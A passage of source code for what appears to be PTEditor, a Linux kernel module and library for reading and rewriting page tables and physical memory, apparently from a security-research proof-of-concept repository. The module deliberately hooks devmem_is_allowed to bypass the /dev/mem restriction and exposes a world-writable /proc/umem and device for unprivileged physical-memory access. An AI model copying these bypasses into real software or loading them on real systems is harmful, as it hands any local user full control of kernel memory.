/* Get offset of PMD (page middle directory) */\n  entry->pmd = pmd_offset(entry->pud, addr);\n  if (pmd_none(*(entry->pmd)) || pud_large(*(entry->pud))) {\n    entry->pmd = NULL;\n    goto error_out;\n  }\n  entry->valid |= PTEDIT_VALID_MASK_PMD;\n\n  /* Map PTE (page table entry) */\n  entry->pte = pte_offset_map(entry->pmd, addr);\n  if (entry->pte == NULL || pmd_large(*(entry->pmd))) {\n    entry->pte = NULL;\n    goto error_out;\n  }\n  entry->valid |= PTEDIT_VALID_MASK_PTE;\n\n  /* Unmap PTE, fine on x86 and ARM64 -> unmap is NOP */\n  pte_unmap(entry->pte);\n\n  /* Unlock mm */\n#if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 8, 0)\n  if(lock) mmap_read_unlock(mm);\n#else\n  if(lock) up_read(&mm->mmap_sem);\n#endif\n\n  return 0;\n\nerror_out:\n\n  /* Unlock mm */\n#if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 8, 0)\n  if(lock) mmap_read_unlock(mm);\n#else\n  if(lock) up_read(&mm->mmap_sem);\n#endif\n\n  return 1;\n}\n\n\nstatic int update_vm(ptedit_entry_t* new_entry, int lock) {\n  vm_t old_entry;\n  size_t addr = new_entry->vaddr;\n  struct mm_struct *mm = get_mm(new_entry->pid);\n  if(!mm) return 1;\n\n  old_entry.pid = new_entry->pid;\n\n  /* Lock mm */\n#if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 8, 0)\n  if(lock) mmap_write_lock(mm);\n#else\n  if(lock) down_write(&mm->mmap_sem);\n#endif\n\n  resolve_vm(addr, &old_entry, 0);\n\n  /* Update entries */\n  if((old_entry.valid & PTEDIT_VALID_MASK_PGD) && (new_entry->valid & PTEDIT_VALID_MASK_PGD)) {\n      pr_warn(\"Updating PGD\\n\");\n      set_pgd(old_entry.pgd, native_make_pgd(new_entry->pgd));\n  }\n\n#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0)\n  if((old_entry.valid & PTEDIT_VALID_MASK_P4D) && (new_entry->valid & PTEDIT_VALID_MASK_P4D)) {\n      pr_warn(\"Updating P4D\\n\");\n      set_p4d(old_entry.p4d, native_make_p4d(new_entry->p4d));\n  }\n#endif\n\n  if((old_entry.valid & PTEDIT_VALID_MASK_PMD) && (new_entry->valid & PTEDIT_VALID_MASK_PMD)) {\n      pr_warn(\"Updating PMD\\n\");\n      set_pmd(old_entry.pmd, native_make_pmd(new_entry->pmd));\n  }\n\n  if((old_entry.valid & PTEDIT_VALID_MASK_PUD) && (new_entry->valid & PTEDIT_VALID_MASK_PUD)) {\n      pr_warn(\"Updating PUD\\n\");\n      set_pud(old_entry.pud, native_make_pud(new_entry->pud));\n  }\n\n  if((old_entry.valid & PTEDIT_VALID_MASK_PTE) && (new_entry->valid & PTEDIT_VALID_MASK_PTE)) {\n      pr_warn(\"Updating PTE\\n\");\n      set_pte(old_entry.pte, native_make_pte(new_entry->pte));\n  }\n\n  invalidate_tlb(addr);\n\n  /* Unlock mm */\n#if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 8, 0)\n  if(lock) mmap_write_unlock(mm);\n#else\n  if(lock) up_write(&mm->mmap_sem);\n#endif\n\n  return 0;\n}\n\n\nstatic void vm_to_user(ptedit_entry_t* user, vm_t* vm) {\n#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0)\n#if CONFIG_PGTABLE_LEVELS > 4\n    if(vm->p4d) user->p4d = (vm->p4d)->p4d;\n#else\n#if !defined(__ARCH_HAS_5LEVEL_HACK)\n    if(vm->p4d) user->p4d = (vm->p4d)->pgd.pgd;\n#else\n    if(vm->p4d) user->p4d = (vm->p4d)->pgd;    \n#endif\n#endif\n#endif\n#if defined(__i386__) || defined(__x86_64__)\n    if(vm->pgd) user->pgd = (vm->pgd)->pgd;\n    if(vm->pmd) user->pmd = (vm->pmd)->pmd;\n    if(vm->pud) user->pud = (vm->pud)->pud;\n    if(vm->pte) user->pte = (vm->pte)->pte;\n#elif defined(__aarch64__)\n    if(vm->pgd) user->pgd = pgd_val(*(vm->pgd));\n    if(vm->pmd) user->pmd = pmd_val(*(vm->pmd));\n    if(vm->pud) user->pud = pud_val(*(vm->pud));\n    if(vm->pte) user->pte = pte_val(*(vm->pte));\n#endif\n    user->valid = vm->valid;\n}\n\n\nstatic long device_ioctl(struct file *file, unsigned int ioctl_num, unsigned long ioctl_param) {\n  switch (ioctl_num) {\n    case PTEDITOR_IOCTL_CMD_VM_RESOLVE:\n    {\n        ptedit_entry_t vm_user;\n        vm_t vm;\n        (void)from_user(&vm_user, (void*)ioctl_param, sizeof(vm_user));\n        vm.pid = vm_user.pid;\n        resolve_vm(vm_user.vaddr, &vm, !mm_is_locked);\n        vm_to_user(&vm_user, &vm);\n        (void)to_user((void*)ioctl_param, &vm_user, sizeof(vm_user));\n        return 0;\n    }\n    case PTEDITOR_IOCTL_CMD_VM_UPDATE:\n    {\n        ptedit_entry_t vm_user;\n        (void)from_user(&vm_user, (void*)ioctl_param, sizeof(vm_user));\n        update_vm(&vm_user, !mm_is_locked);\n        return 0;\n    }\n    case PTEDITOR_IOCTL_CMD_VM_LOCK:\n    {\n        struct mm_struct *mm = current->active_mm;\n        if(mm_is_locked) {\n            pr_warn(\"VM is already locked\\n\");\n            return -1;\n        }\n#if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 8, 0)\n        mmap_write_lock(mm);\n        mmap_read_lock(mm);\n#else\n        down_write(&mm->mmap_sem);\n        down_read(&mm->mmap_sem);\n#endif\n        mm_is_locked = true;\n        return 0;\n    }\n    case PTEDITOR_IOCTL_CMD_VM_UNLOCK:\n    {\n        struct mm_struct *mm = current->active_mm;\n        if(!mm_is_locked) {\n            pr_warn(\"VM is not locked\\n\");\n            return -1;\n        }\n#if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 8, 0)\n        mmap_write_unlock(mm);\n        mmap_read_unlock(mm);\n#else\n        up_write(&mm->mmap_sem);\n        up_read(&mm->mmap_sem);\n#endif\n        mm_is_locked = false;\n        return 0;\n    }\n    case PTEDITOR_IOCTL_CMD_READ_PAGE:\n    {\n        ptedit_page_t page;\n        (void)from_user(&page, (void*)ioctl_param, sizeof(page));\n        to_user(page.buffer, phys_to_virt(page.pfn * PAGE_SIZE), PAGE_SIZE);\n        return 0;\n    }\n    case PTEDITOR_IOCTL_CMD_WRITE_PAGE:\n    {\n        ptedit_page_t page;\n        (void)from_user(&page, (void*)ioctl_param, sizeof(page));\n        (void)from_user(phys_to_virt(page.pfn * PAGE_SIZE), page.buffer, PAGE_SIZE);\n        return 0;\n    }\n    case PTEDITOR_IOCTL_CMD_GET_ROOT:\n    {\n        struct mm_struct *mm;\n        ptedit_paging_t paging;\n\n        (void)from_user(&paging, (void*)ioctl_param, sizeof(paging));\n        mm = get_mm(paging.pid);\n        if(!mm) return 1;\n#if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 8, 0)\n        if(!mm_is_locked) mmap_read_lock(mm);\n#else\n        if(!mm_is_locked) down_read(&mm->mmap_sem);\n#endif\n        paging.root = virt_to_phys(mm->pgd);\n#if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 8, 0)\n        if(!mm_is_locked) mmap_read_unlock(mm);\n#else\n        if(!mm_is_locked) up_read(&mm->mmap_sem);\n#endif\n        (void)to_user((void*)ioctl_param, &paging, sizeof(paging));\n        return 0;\n    }\n    case PTEDITOR_IOCTL_CMD_SET_ROOT:\n    {\n        struct mm_struct *mm;\n        ptedit_paging_t paging = {0};\n\n        (void)from_user(&paging, (void*)ioctl_param, sizeof(paging));\n        mm = get_mm(paging.pid);\n        if(!mm) return 1;\n#if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 8, 0)\n        if(!mm_is_locked) mmap_write_lock(mm);\n#else\n        if(!mm_is_locked) down_write(&mm->mmap_sem);\n#endif\n        mm->pgd = (pgd_t*)phys_to_virt(paging.root);\n#if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 8, 0)\n        if(!mm_is_locked) mmap_write_unlock(mm);\n#else\n        if(!mm_is_locked) up_write(&mm->mmap_sem);\n#endif\n        return 0;\n    }\n    case PTEDITOR_IOCTL_CMD_GET_PAGESIZE:\n        return PAGE_SIZE;\n    case PTEDITOR_IOCTL_CMD_INVALIDATE_TLB:\n        invalidate_tlb(ioctl_param);\n        return 0;\n    case PTEDITOR_IOCTL_CMD_GET_PAT:\n    {\n#if defined(__i386__) || defined(__x86_64__)\n        int low, high;\n        size_t pat;\n        asm volatile(\"rdmsr\" : \"=a\"(low), \"=d\"(high) : \"c\"(0x277));\n        pat = low | (((size_t)high) << 32);\n        (void)to_user((void*)ioctl_param, &pat, sizeof(pat));\n        return 0;\n#elif defined(__aarch64__)\n        uint64_t value;\n        asm volatile (\"mrs %0, mair_el1\\n\" : \"=r\"(value));\n        (void)to_user((void*)ioctl_param, &value, sizeof(value));\n        return 0;\n#endif\n    }\n    case PTEDITOR_IOCTL_CMD_SET_PAT:\n    {\n        set_pat(ioctl_param);\n        return 0;\n    }\n    case PTEDITOR_IOCTL_CMD_SWITCH_TLB_INVALIDATION:\n    {\n      if((int)ioctl_param != PTEDITOR_TLB_INVALIDATION_KERNEL && (int)ioctl_param != PTEDITOR_TLB_INVALIDATION_CUSTOM)\n        return -1;\n      invalidate_tlb = ((int)ioctl_param == PTEDITOR_TLB_INVALIDATION_KERNEL) ? invalidate_tlb_kernel : invalidate_tlb_custom;\n      return 0;\n    }\n\n    default:\n        return -1;\n  }\n\n  return 0;\n}\n\nstatic struct file_operations f_ops = {.owner = THIS_MODULE,\n                                       .unlocked_ioctl = device_ioctl,\n                                       .open = device_open,\n                                       .release = device_release};\n\nstatic struct miscdevice misc_dev = {\n    .minor = MISC_DYNAMIC_MINOR,\n    .name = PTEDITOR_DEVICE_NAME,\n    .fops = &f_ops,\n    .mode = S_IRWXUGO,\n};\n\n#if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 6, 0)\nstatic struct proc_ops umem_ops = {\n#if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 7, 0)\n  .proc_flags = 0,\n#endif\n  .proc_open = NULL,\n  .proc_read = NULL,\n  .proc_write = NULL,\n  .proc_lseek = NULL,\n  .proc_release = NULL,\n  .proc_poll = NULL,\n  .proc_ioctl = NULL,\n#ifdef CONFIG_COMPAT\n  .proc_compat_ioctl = NULL,\n#endif\n  .proc_mmap = NULL,\n  .proc_get_unmapped_area = NULL,\n};\n#define OP_lseek lseek\n#define OPCAT(a, b) a ## b\n#define OPS(o) OPCAT(umem_ops.proc_, o)\n#else\nstatic struct file_operations umem_ops = {.owner = THIS_MODULE};\n#define OP_lseek llseek\n#define OPS(o) umem_ops.o\n#endif\n\nstatic int open_umem(struct inode *inode, struct file *filp) { return 0; }\nstatic int has_umem = 0;\n\n#if !defined(__aarch64__)\nstatic const char *devmem_hook = \"devmem_is_allowed\";\n\n\nstatic int devmem_bypass(struct kretprobe_instance *p, struct pt_regs *regs) {\n  if (regs->ax == 0) {\n    regs->ax = 1;\n  }\n  return 0;\n}\n\nstatic struct kretprobe probe_devmem = {.handler = devmem_bypass, .maxactive = 20};\n#endif\n\nint init_module(void) {\n  int r;\n\n  /* Register device */\n  r = misc_register(&misc_dev);\n  if (r != 0) {\n    pr_alert(\"Failed registering device with %d\\n\", r);\n    return 1;\n  }\n\n  flush_tlb_mm_range_func = (void *) kallsyms_lookup_name(\"flush_tlb_mm_range\");\n  if(!flush_tlb_mm_range_func) {\n    pr_alert(\"Could not retrieve flush_tlb_mm_range function\\n\");\n  }\n  invalidate_tlb = invalidate_tlb_kernel;\n\n#if !defined(__aarch64__)\n  probe_devmem.kp.symbol_name = devmem_hook;\n\n  if (register_kretprobe(&probe_devmem) < 0) {\n    pr_alert(\"Could not bypass /dev/mem restriction\\n\");\n  } else {\n    pr_info(\"/dev/mem is now superuser read-/writable\\n\");\n  }\n#endif\n\n  OPS(OP_lseek) = (void*)kallsyms_lookup_name(\"memory_lseek\");\n  OPS(read) = (void*)kallsyms_lookup_name(\"read_mem\");\n  OPS(write) = (void*)kallsyms_lookup_name(\"write_mem\");\n  OPS(mmap) = (void*)kallsyms_lookup_name(\"mmap_mem\");\n  OPS(open) = open_umem;\n\n  if (!OPS(OP_lseek) || !OPS(read) || !OPS(write) ||\n      !OPS(mmap) || !OPS(open)) {\n    pr_alert(\"Could not create unprivileged memory access\\n\");\n  } else {\n    proc_create(\"umem\", 0666, NULL, &umem_ops);\n    pr_info(\"Unprivileged memory access via /proc/umem set up\\n\");\n    has_umem = 1;\n  }\n  pr_info(\"Loaded.\\n\");\n\n  return 0;\n}\n\nvoid cleanup_module(void) {\n  misc_deregister(&misc_dev);\n  \n#if !defined(__aarch64__)\n  unregister_kretprobe(&probe_devmem);\n#endif\n\n  if (has_umem) {\n    pr_info(\"Remove unprivileged memory access\\n\");\n    remove_proc_entry(\"umem\", NULL);\n  }\n  pr_info(\"Removed.\\n\");\n}\n"
  },
  {
    "path": "pocs/libpte/module/pteditor.h",
    "content": "/* See LICENSE file for license and copyright information */\n\n#ifndef PTEDITOR_MODULE_H\n#define PTEDITOR_MODULE_H\n\n#if defined(__linux__) || defined(__linux) || defined(__unix__) || defined(LINUX) || defined(UNIX)\n#define LINUX\n#endif\n#if defined(_WIN32) || defined(_WIN64) || defined(__MINGW32__) || defined(__CYGWIN__)\n#define WINDOWS\n#undef LINUX\n#endif\n\n\n#include <stddef.h>\n\n#if defined(LINUX)\n#define PTEDITOR_DEVICE_NAME \"pteditor\"\n#define PTEDITOR_DEVICE_PATH \"/dev/\" PTEDITOR_DEVICE_NAME\n#else\n#define PTEDITOR_DEVICE_NAME L\"PTEditorLink\"\n#define PTEDITOR_DEVICE_PATH L\"\\\\\\\\.\\\\\" PTEDITOR_DEVICE_NAME\n#endif\n\n/**\n * Structure containing the page-table entries of all levels.\n * The Linux names are aliased with the Intel names.\n */\ntypedef struct {\n    /** Process ID */\n    size_t pid;\n    /** Virtual address */\n    size_t vaddr;\n\n    /** Page global directory / Page map level 5 */\n    union {\n        size_t pgd;\n        size_t pml5;\n    };\n    /** Page directory 4 / Page map level 4 */\n    union {\n        size_t p4d;\n        size_t pml4;\n    };\n    /** Page upper directory / Page directory pointer table */\n    union {\n        size_t pud;\n        size_t pdpt;\n    };\n    /** Page middle directory / Page directory */\n    union {\n        size_t pmd;\n        size_t pd;\n    };\n    /** Page table entry */\n    size_t pte;\n    /** Bitmask indicating which entries are valid/should be updated */\n    size_t valid;\n} ptedit_entry_t;\n\n/**\n * Structure to read/write physical pages\n */\n#if defined(LINUX)\ntypedef struct {\n    /** Page-frame number */\n    size_t pfn;\n    /** Virtual address */\n    size_t vaddr;\n    /** Page size */\n    size_t size;\n    /** Page content */\n    unsigned char* buffer;\n} ptedit_page_t;\n#else\n__pragma(pack(push, 1))\ntypedef struct {\n    char content[4096];\n    size_t paddr;\n} ptedit_page_t;\n__pragma(pack(pop))\n#endif\n\n\n/**\n * Structure to get/set the root of paging\n */\ntypedef struct {\n    /** Process id */\n    size_t pid;\n    /** Physical address of paging root */\n    size_t root;\n} ptedit_paging_t;\n\n#define PTEDIT_VALID_MASK_PGD (1<<0)\n#define PTEDIT_VALID_MASK_P4D (1<<1)\n#define PTEDIT_VALID_MASK_PUD (1<<2)\n#define PTEDIT_VALID_MASK_PMD (1<<3)\n#define PTEDIT_VALID_MASK_PTE (1<<4)\n\n#define PTEDITOR_TLB_INVALIDATION_KERNEL 0\n#define PTEDITOR_TLB_INVALIDATION_CUSTOM 1\n\n#if defined(LINUX)\n#define PTEDITOR_IOCTL_MAGIC_NUMBER (long)0x3d17\n\n#define PTEDITOR_IOCTL_CMD_VM_RESOLVE \\\n  _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 1, size_t)\n\n#define PTEDITOR_IOCTL_CMD_VM_UPDATE \\\n  _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 2, size_t)\n\n#define PTEDITOR_IOCTL_CMD_VM_LOCK \\\n  _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 3, size_t)\n\n#define PTEDITOR_IOCTL_CMD_VM_UNLOCK \\\n  _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 4, size_t)\n\n#define PTEDITOR_IOCTL_CMD_READ_PAGE \\\n  _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 5, size_t)\n\n#define PTEDITOR_IOCTL_CMD_WRITE_PAGE \\\n  _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 6, size_t)\n\n#define PTEDITOR_IOCTL_CMD_GET_ROOT \\\n  _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 7, size_t)\n\n#define PTEDITOR_IOCTL_CMD_SET_ROOT \\\n  _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 8, size_t)\n\n#define PTEDITOR_IOCTL_CMD_GET_PAGESIZE \\\n  _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 9, size_t)\n\n#define PTEDITOR_IOCTL_CMD_INVALIDATE_TLB \\\n  _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 10, size_t)\n\n#define PTEDITOR_IOCTL_CMD_GET_PAT \\\n  _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 11, size_t)\n\n#define PTEDITOR_IOCTL_CMD_SET_PAT \\\n  _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 12, size_t)\n\n#define PTEDITOR_IOCTL_CMD_SWITCH_TLB_INVALIDATION \\\n  _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 13, size_t)\n#else\n#define PTEDITOR_READ_PAGE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)\n#define PTEDITOR_WRITE_PAGE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_READ_DATA)\n#define PTEDITOR_GET_CR3 CTL_CODE(FILE_DEVICE_UNKNOWN, 0x803, METHOD_BUFFERED, FILE_ANY_ACCESS)\n#define PTEDITOR_FLUSH_TLB CTL_CODE(FILE_DEVICE_UNKNOWN, 0x804, METHOD_BUFFERED, FILE_ANY_ACCESS)\n#define PTEDITOR_READ_PHYS_VAL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x805, METHOD_BUFFERED, FILE_ANY_ACCESS)\n#define PTEDITOR_WRITE_PHYS_VAL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x806, METHOD_BUFFERED, FILE_ANY_ACCESS)\n#define PTEDITOR_SET_CR3 CTL_CODE(FILE_DEVICE_UNKNOWN, 0x807, METHOD_BUFFERED, FILE_ANY_ACCESS)\n#define PTEDITOR_SET_PAT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x808, METHOD_BUFFERED, FILE_ANY_ACCESS)\n#define PTEDITOR_GET_PAT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x809, METHOD_BUFFERED, FILE_ANY_ACCESS)\n#endif\n\n#endif // PTEDITOR_MODULE_H\n"
  },
  {
    "path": "pocs/libpte/ptedit.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <fcntl.h>\n#include <string.h>\n#include \"module/pteditor.h\"\n#include \"ptedit.h\"\n#if defined(LINUX)\n#include <sys/ioctl.h>\n#include <unistd.h>\n#include <sys/mman.h>\n#else\n#include <Windows.h>\n#endif\n\n#if defined(LINUX)\n#define PTEDIT_COLOR_RED     \"\\x1b[31m\"\n#define PTEDIT_COLOR_GREEN   \"\\x1b[32m\"\n#define PTEDIT_COLOR_RESET   \"\\x1b[0m\"\n#else\n#define PTEDIT_COLOR_RED     \"\"\n#define PTEDIT_COLOR_GREEN   \"\"\n#define PTEDIT_COLOR_RESET   \"\"\n#endif\n\n#if defined(WINDOWS)\n#define NO_WINDOWS_SUPPORT fprintf(stderr, PTEDIT_COLOR_RED \"[-]\" PTEDIT_COLOR_RESET \"Error: %s not supported on Windows\", __func__);\n#endif\n\n#if defined(WINDOWS)\nstatic HANDLE ptedit_fd;\n#else\nstatic int ptedit_fd;\n#endif\nstatic int ptedit_umem;\nstatic int ptedit_pagesize;\nstatic size_t ptedit_paging_root;\nstatic unsigned char* ptedit_vmem;\n\ntypedef struct {\n    int has_pgd, has_p4d, has_pud, has_pmd, has_pt;\n    int pgd_entries, p4d_entries, pud_entries, pmd_entries, pt_entries;\n    int page_offset;\n} ptedit_paging_definition_t;\n\nptedit_paging_definition_t ptedit_paging_definition;\n\n\n\n// ---------------------------------------------------------------------------\nptedit_entry_t ptedit_resolve_kernel(void* address, pid_t pid) {\n    ptedit_entry_t vm;\n    memset(&vm, 0, sizeof(vm));\n    vm.vaddr = (size_t)address;\n    vm.pid = (size_t)pid;\n#if defined(LINUX)\n    ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_VM_RESOLVE, (size_t)&vm);\n#else\n    NO_WINDOWS_SUPPORT;\n#endif\n    return vm;\n}\n\n// ---------------------------------------------------------------------------\ntypedef size_t(*ptedit_phys_read_t)(size_t);\ntypedef void(*ptedit_phys_write_t)(size_t, size_t);\n\n// ---------------------------------------------------------------------------\nstatic inline size_t ptedit_phys_read_map(size_t address) {\n    return *(size_t*)(ptedit_vmem + address);\n}\n\n// ---------------------------------------------------------------------------\nstatic inline void ptedit_phys_write_map(size_t address, size_t value) {\n    *(size_t*)(ptedit_vmem + address) = value;\n}\n\n// ---------------------------------------------------------------------------\nstatic inline size_t ptedit_phys_read_pread(size_t address) {\n    size_t val = 0;\n#if defined(LINUX)\n    if (pread(ptedit_umem, &val, sizeof(size_t), address) == -1) {\n      return val;\n    }\n#else\n    ULONG returnLength;\n    DeviceIoControl(ptedit_fd, PTEDITOR_READ_PHYS_VAL, (LPVOID)&address, sizeof(address), (LPVOID)&val, sizeof(val), &returnLength, 0);\n#endif\n    return val;\n}\n\n// ---------------------------------------------------------------------------\nstatic inline void ptedit_phys_write_pwrite(size_t address, size_t value) {\n#if defined(LINUX)\n    if (pwrite(ptedit_umem, &value, sizeof(size_t), address) == -1) {\n      return;\n    }\n#else\n    ULONG returnLength;\n    size_t info[2];\n    info[0] = address;\n    info[1] = value;\n    DeviceIoControl(ptedit_fd, PTEDITOR_WRITE_PHYS_VAL, (LPVOID)&info, sizeof(info), (LPVOID)&info, sizeof(info), &returnLength, 0);\n#endif\n}\n\n// ---------------------------------------------------------------------------\nstatic ptedit_entry_t ptedit_resolve_user_ext(void* address, pid_t pid, ptedit_phys_read_t deref) {\n    size_t root = (pid == 0) ? ptedit_paging_root : ptedit_get_paging_root(pid);\n\n    int pgdi, p4di, pudi, pmdi, pti;\n    size_t addr = (size_t)address;\n    pgdi = (addr >> (ptedit_paging_definition.page_offset\n        + ptedit_paging_definition.pt_entries\n        + ptedit_paging_definition.pmd_entries\n        + ptedit_paging_definition.pud_entries\n        + ptedit_paging_definition.p4d_entries)) % (1ull << ptedit_paging_definition.pgd_entries);\n    p4di = (addr >> (ptedit_paging_definition.page_offset\n        + ptedit_paging_definition.pt_entries\n        + ptedit_paging_definition.pmd_entries\n        + ptedit_paging_definition.pud_entries)) % (1ull << ptedit_paging_definition.p4d_entries);\n    pudi = (addr >> (ptedit_paging_definition.page_offset\n        + ptedit_paging_definition.pt_entries\n        + ptedit_paging_definition.pmd_entries)) % (1ull << ptedit_paging_definition.pud_entries);\n    pmdi = (addr >> (ptedit_paging_definition.page_offset\n        + ptedit_paging_definition.pt_entries)) % (1ull << ptedit_paging_definition.pmd_entries);\n    pti = (addr >> ptedit_paging_definition.page_offset) % (1ull << ptedit_paging_definition.pt_entries);\n\n    ptedit_entry_t resolved;\n    memset(&resolved, 0, sizeof(resolved));\n    resolved.vaddr = (size_t)address;\n    resolved.pid = (size_t)pid;\n    resolved.valid = 0;\n    \n    if(!root) return resolved;\n\n    size_t pgd_entry, p4d_entry, pud_entry, pmd_entry, pt_entry;\n\n    //     printf(\"%zx + CR3(%zx) + PGDI(%zx) * 8 = %zx\\n\", ptedit_vmem, root, pgdi, ptedit_vmem + root + pgdi * sizeof(size_t));\n    pgd_entry = deref(root + pgdi * sizeof(size_t));\n    if (ptedit_cast(pgd_entry, ptedit_pgd_t).present != PTEDIT_PAGE_PRESENT) {\n        return resolved;\n    }\n    resolved.pgd = pgd_entry;\n    resolved.valid |= PTEDIT_VALID_MASK_PGD;\n    if (ptedit_paging_definition.has_p4d) {\n        size_t pfn = (size_t)(ptedit_cast(pgd_entry, ptedit_pgd_t).pfn);\n        p4d_entry = deref(pfn * ptedit_pagesize + p4di * sizeof(size_t));\n        resolved.valid |= PTEDIT_VALID_MASK_P4D;\n    }\n    else {\n        p4d_entry = pgd_entry;\n    }\n    resolved.p4d = p4d_entry;\n\n    if (ptedit_cast(p4d_entry, ptedit_p4d_t).present != PTEDIT_PAGE_PRESENT) {\n        return resolved;\n    }\n\n\n    if (ptedit_paging_definition.has_pud) {\n        size_t pfn = (size_t)(ptedit_cast(p4d_entry, ptedit_p4d_t).pfn);\n        pud_entry = deref(pfn * ptedit_pagesize + pudi * sizeof(size_t));\n        resolved.valid |= PTEDIT_VALID_MASK_PUD;\n    }\n    else {\n        pud_entry = p4d_entry;\n    }\n    resolved.pud = pud_entry;\n\n    if (ptedit_cast(pud_entry, ptedit_pud_t).present != PTEDIT_PAGE_PRESENT) {\n        return resolved;\n    }\n\n    if (ptedit_paging_definition.has_pmd) {\n        size_t pfn = (size_t)(ptedit_cast(pud_entry, ptedit_pud_t).pfn);\n        pmd_entry = deref(pfn * ptedit_pagesize + pmdi * sizeof(size_t));\n        resolved.valid |= PTEDIT_VALID_MASK_PMD;\n    }\n    else {\n        pmd_entry = pud_entry;\n    }\n    resolved.pmd = pmd_entry;\n\n    if (ptedit_cast(pmd_entry, ptedit_pmd_t).present != PTEDIT_PAGE_PRESENT) {\n        return resolved;\n    }\n\n#if defined(__i386__) || defined(__x86_64__) || defined(_WIN64)\n    if (!ptedit_cast(pmd_entry, ptedit_pmd_t).size) {\n#endif\n        // normal 4kb page\n        size_t pfn = (size_t)(ptedit_cast(pmd_entry, ptedit_pmd_t).pfn);\n        pt_entry = deref(pfn * ptedit_pagesize + pti * sizeof(size_t)); //pt[pti];\n        resolved.pte = pt_entry;\n        resolved.valid |= PTEDIT_VALID_MASK_PTE;\n        if (ptedit_cast(pt_entry, ptedit_pte_t).present != PTEDIT_PAGE_PRESENT) {\n            return resolved;\n        }\n#if defined(__i386__) || defined(__x86_64__) || defined(_WIN64)\n    }\n#endif\n    return resolved;\n}\n\n\n// ---------------------------------------------------------------------------\nstatic ptedit_entry_t ptedit_resolve_user(void* address, pid_t pid) {\n    return ptedit_resolve_user_ext(address, pid, ptedit_phys_read_pread);\n}\n\n\n// ---------------------------------------------------------------------------\nstatic ptedit_entry_t ptedit_resolve_user_map(void* address, pid_t pid) {\n    return ptedit_resolve_user_ext(address, pid, ptedit_phys_read_map);\n}\n\n\n// ---------------------------------------------------------------------------\nvoid ptedit_update_kernel(void* address, pid_t pid, ptedit_entry_t* vm) {\n    vm->vaddr = (size_t)address;\n    vm->pid = (size_t)pid;\n#if defined(LINUX)\n    ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_VM_UPDATE, (size_t)vm);\n#else \n    NO_WINDOWS_SUPPORT\n#endif\n}\n\n// ---------------------------------------------------------------------------\nvoid ptedit_update_user_ext(void* address, pid_t pid, ptedit_entry_t* vm, ptedit_phys_write_t pset) {\n    ptedit_entry_t current = ptedit_resolve(address, pid);\n    size_t root = (pid == 0) ? ptedit_paging_root : ptedit_get_paging_root(pid);\n\n    if(!root) return;\n    \n    size_t pgdi, p4di, pudi, pmdi, pti;\n    size_t addr = (size_t)address;\n    pgdi = (addr >> (ptedit_paging_definition.page_offset\n        + ptedit_paging_definition.pt_entries\n        + ptedit_paging_definition.pmd_entries\n        + ptedit_paging_definition.pud_entries\n        + ptedit_paging_definition.p4d_entries)) % (1ull << ptedit_paging_definition.pgd_entries);\n    p4di = (addr >> (ptedit_paging_definition.page_offset\n        + ptedit_paging_definition.pt_entries\n        + ptedit_paging_definition.pmd_entries\n        + ptedit_paging_definition.pud_entries)) % (1ull << ptedit_paging_definition.p4d_entries);\n    pudi = (addr >> (ptedit_paging_definition.page_offset\n        + ptedit_paging_definition.pt_entries\n        + ptedit_paging_definition.pmd_entries)) % (1ull << ptedit_paging_definition.pud_entries);\n    pmdi = (addr >> (ptedit_paging_definition.page_offset\n        + ptedit_paging_definition.pt_entries)) % (1ull << ptedit_paging_definition.pmd_entries);\n    pti = (addr >> ptedit_paging_definition.page_offset) % (1ull << ptedit_paging_definition.pt_entries);\n\n    if ((vm->valid & PTEDIT_VALID_MASK_PTE) && (current.valid & PTEDIT_VALID_MASK_PTE)) {\n        pset((size_t)ptedit_cast(current.pmd, ptedit_pmd_t).pfn * ptedit_pagesize + pti * (ptedit_pagesize / (1 << ptedit_paging_definition.pt_entries)), vm->pte);\n    }\n    if ((vm->valid & PTEDIT_VALID_MASK_PMD) && (current.valid & PTEDIT_VALID_MASK_PMD) && ptedit_paging_definition.has_pmd) {\n        pset((size_t)ptedit_cast(current.pud, ptedit_pud_t).pfn * ptedit_pagesize + pmdi * (ptedit_pagesize / (1 << ptedit_paging_definition.pmd_entries)), vm->pmd);\n    }\n    if ((vm->valid & PTEDIT_VALID_MASK_PUD) && (current.valid & PTEDIT_VALID_MASK_PUD) && ptedit_paging_definition.has_pud) {\n        pset((size_t)ptedit_cast(current.p4d, ptedit_p4d_t).pfn * ptedit_pagesize + pudi * (ptedit_pagesize / (1 << ptedit_paging_definition.pud_entries)), vm->pud);\n    }\n    if ((vm->valid & PTEDIT_VALID_MASK_P4D) && (current.valid & 